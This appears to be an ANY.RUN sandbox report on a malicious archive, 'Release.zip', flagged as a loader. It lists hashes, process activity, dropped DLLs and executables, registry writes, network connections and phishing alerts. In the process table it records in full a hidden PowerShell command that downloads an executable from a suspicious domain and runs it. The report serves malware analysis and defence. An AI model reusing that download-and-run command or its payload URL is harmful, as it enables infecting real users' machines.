| File name: | Release.zip |
| Full analysis: | https://app.any.run/tasks/96757392-b99c-4aff-ba84-cb8d8940067d |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 23, 2026, 19:15:30 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v1.0 to extract, compression method=store |
| MD5: | 727D16530E9F9031BC2996FDF1BCBBA1 |
| SHA1: | F05EA04DD55716C40295F8E65C598A466AC903E1 |
| SHA256: | 1F82BCA733DDAC31B66447792ECB8405E0F32C48D1611E1C9E2437B0158912D6 |
| SSDEEP: | 98304:KFxX02T7112DcTvwRR0PBiEJd+B/TsnMiFjsfx0CvXSEnPWbJvVE0JqIUqhEvQST:SbpQE8Iit2KgA |
MALICIOUS
LOFTY has been detected
- cmd.exe (PID: 7920)
- cmd.exe (PID: 1960)
- powershell.exe (PID: 3232)
- ropro.es.exe (PID: 4020)
Run PowerShell with an invisible window
- powershell.exe (PID: 3232)
PHISHING has been detected (SURICATA)
- svchost.exe (PID: 2292)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 7920)
- cmd.exe (PID: 1960)
Downloads file from URI via Powershell
- powershell.exe (PID: 3232)
Starts process via Powershell
- powershell.exe (PID: 3232)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 1960)
Manipulates environment variables
- powershell.exe (PID: 3232)
Executable started from TEMP via cmd.exe
- cmd.exe (PID: 684)
Executes application which crashes
- ropro.es.exe (PID: 4020)
INFO
The sample compiled with english language support
- WinRAR.exe (PID: 7452)
- WinRAR.exe (PID: 4684)
- WinRAR.exe (PID: 3164)
Executable content was dropped or overwritten
- WinRAR.exe (PID: 7452)
- WinRAR.exe (PID: 4684)
- WinRAR.exe (PID: 3164)
Manual execution by a user
- cashxyz.exe (PID: 4952)
- cashxyz.exe (PID: 1464)
- cashxyz.exe (PID: 8228)
- WinRAR.exe (PID: 3164)
- cashxyz.exe (PID: 1176)
- WinRAR.exe (PID: 5216)
- WinRAR.exe (PID: 4684)
- ropro.es.exe (PID: 224)
- ropro.es.exe (PID: 4020)
Checks supported languages
- cashxyz.exe (PID: 8228)
- cashxyz.exe (PID: 4952)
- ropro.es.exe (PID: 4020)
Reads the computer name
- cashxyz.exe (PID: 8228)
- cashxyz.exe (PID: 4952)
- ropro.es.exe (PID: 4020)
Reads security settings of Internet Explorer
- ropro.es.exe (PID: 4020)
Reads the machine GUID from the registry
- ropro.es.exe (PID: 4020)
Application launched itself
- cmd.exe (PID: 7920)
Creates files or folders in the user directory
- ropro.es.exe (PID: 4020)
- WerFault.exe (PID: 1068)
Create files in a temporary directory
- ropro.es.exe (PID: 4020)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3232)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 10 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2026:04:10 00:07:08 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | Release/ |
Total processes
172
Monitored processes
20
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 224 | "C:\Users\admin\Desktop\attacker\Release\ropro.es.exe" | C:\Users\admin\Desktop\attacker\Release\ropro.es.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 684 | /c start C:\Users\admin\AppData\Local\Temp\ox_1776971900157.exe | C:\Windows\System32\cmd.exe | — | ropro.es.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1068 | C:\WINDOWS\system32\WerFault.exe -u -p 4020 -s 2328 | C:\Windows\System32\WerFault.exe | ropro.es.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Problem Reporting Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1176 | "C:\Users\admin\Desktop\Release\cashxyz.exe" | C:\Users\admin\Desktop\Release\cashxyz.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 1464 | "C:\Users\admin\Desktop\Release\cashxyz.exe" | C:\Users\admin\Desktop\Release\cashxyz.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 1760 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1960 | cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK939135.exe; Start-Process -FilePath $env:TEMP\BK939135.exe -WindowStyle Hidden }" | C:\Windows\System32\cmd.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2292 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3164 | "C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\attacker\realze.rar" C:\Users\admin\Desktop\attacker\ | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 3232 | powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK939135.exe; Start-Process -FilePath $env:TEMP\BK939135.exe -WindowStyle Hidden }" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
16 688
Read events
16 646
Write events
39
Delete events
3
Modification events
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Downloads\chromium_build 1.zip | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Release.zip | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (7452) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\MainWin |
| Operation: | write | Name: | Placement |
Value: 2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D0000002D000000FD03000016020000 | |||
Executable files
14
Suspicious files
15
Text files
5
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\cashxyz.pdb | — | |
MD5:— | SHA256:— | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\d3dx9_43.dll | executable | |
MD5:460D2B03615D8C0697721CE26AEE1E60 | SHA256:36B84DFA0EF9D3FF3549A7AD54D2A8032BD22C879219EE1A959137C4EF8786C4 | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\d3dx11_43.dll | executable | |
MD5:015743813E8D70A91CCE6319FD2EC94A | SHA256:25814402CE1D74F198958AA38661242189B4E5D640177087D0BA0ECF65D19A44 | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\D3DCompiler_43.dll | executable | |
MD5:D010AB113ED06BF6B42C7746EF395E21 | SHA256:FFEDB064ADC25328B24DCF145B04045A867A5574C931516D7845BABF2A08937F | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\cashxyz.exe | executable | |
MD5:70638E7BDCCDE9255DAF7C299D201C04 | SHA256:1AD31C6105EE6B6DD46C015C9F7E6E9D67F82EFA3BE56A2110D85D523B2DD06B | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\libcurl.dll | executable | |
MD5:9FB3DF11CE40D177F5477F09DFF74388 | SHA256:4607B44322997F689DD2B9D7832BB06A096FD6B612257FAD9781A32738779439 | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\LibCurlShim.dll | executable | |
MD5:81354A43D2C510443A89C137756EB8FF | SHA256:1AFEC55DF627ABEFB3220AC3DC12976FCA7CFEE784E4C7FA5FAD66CD044E48CF | |||
| 3164 | WinRAR.exe | C:\Users\admin\Desktop\attacker\Release\D3DCompiler_43.dll | executable | |
MD5:D010AB113ED06BF6B42C7746EF395E21 | SHA256:FFEDB064ADC25328B24DCF145B04045A867A5574C931516D7845BABF2A08937F | |||
| 4684 | WinRAR.exe | C:\Users\admin\Desktop\Release\ropro.es.exe | executable | |
MD5:B9DA9FA3E98CCFC8A3463D4B3444D869 | SHA256:6788BF70034359B68D52118B695614D5BAEBFCFD76F55F10F7E88FC844B3CFFC | |||
| 7452 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb7452.37935\Release\d3dx10_43.dll | executable | |
MD5:190649D410964753A54A306CAEB33CB8 | SHA256:B5F2E4D842C758FAE91323888ACE39328C47D9546231757F73831E2369AE58ED | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
51
TCP/UDP connections
37
DNS requests
31
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
8400 | svchost.exe | GET | 304 | 40.127.240.158:443 | https://settings-win.data.microsoft.com/settings/v3.0/WSD/UpdateHealthTools?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=s:BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&sampleId=s:95271487&appVer=10.0.19041.3626&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=SedimentPack&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2 | US | — | — | whitelisted |
356 | svchost.exe | GET | 200 | 162.159.142.9:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D | US | binary | 471 b | whitelisted |
356 | svchost.exe | POST | 200 | 40.126.31.73:443 | https://login.live.com/RST2.srf | US | xml | 1.24 Kb | whitelisted |
— | — | GET | 200 | 204.79.197.203:80 | http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQ3L3%2F%2Fa6ADK8NraY2GXzVaYrHG4AQUb6t%2B2v%2BXQ3LsO2d33oJhNYhHQoUCEzMAAAAGb6JMMcOVb6sAAAAAAAY%3D | US | binary | 959 b | whitelisted |
— | — | GET | 200 | 162.159.142.9:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAjTxtAB8my1oj8MfWpz%2F7Y%3D | US | binary | 312 b | whitelisted |
8532 | SIHClient.exe | GET | 304 | 135.233.95.144:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
8400 | svchost.exe | GET | 200 | 23.59.18.102:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | US | binary | 814 b | whitelisted |
6768 | MoUsoCoreWorker.exe | GET | 200 | 40.127.240.158:443 | https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop | US | text | 7.04 Kb | whitelisted |
8532 | SIHClient.exe | GET | 200 | 74.178.240.51:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | US | — | — | whitelisted |
8532 | SIHClient.exe | GET | 200 | 135.233.95.144:443 | https://slscr.update.microsoft.com/sls/ping | US | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6768 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
3656 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
8400 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5568 | SearchApp.exe | 2.16.204.157:443 | www.bing.com | AKAMAI-ASN1 | NL | whitelisted |
— | — | 162.159.142.9:80 | ocsp.digicert.com | CLOUDFLARENET | US | whitelisted |
— | — | 204.79.197.203:80 | oneocsp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
3412 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
356 | svchost.exe | 40.126.31.73:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
self.events.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
oneocsp.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
8400 | svchost.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
2292 | svchost.exe | Misc activity | INFO [ANY.RUN] Google DNS-over-HTTPS service requested (dns. google) |
4020 | ropro.es.exe | Misc activity | ET INFO Google DNS Over HTTPS Certificate Inbound |
4020 | ropro.es.exe | Misc activity | ET INFO Observed Google DNS over HTTPS Domain (dns .google in TLS SNI) |
4020 | ropro.es.exe | Misc activity | ET INFO Observed UA-CPU Header |
2292 | svchost.exe | Possible Social Engineering Attempted | PHISHING [ANY.RUN] Suspected Phishing Domain (.vcc-library .uk) |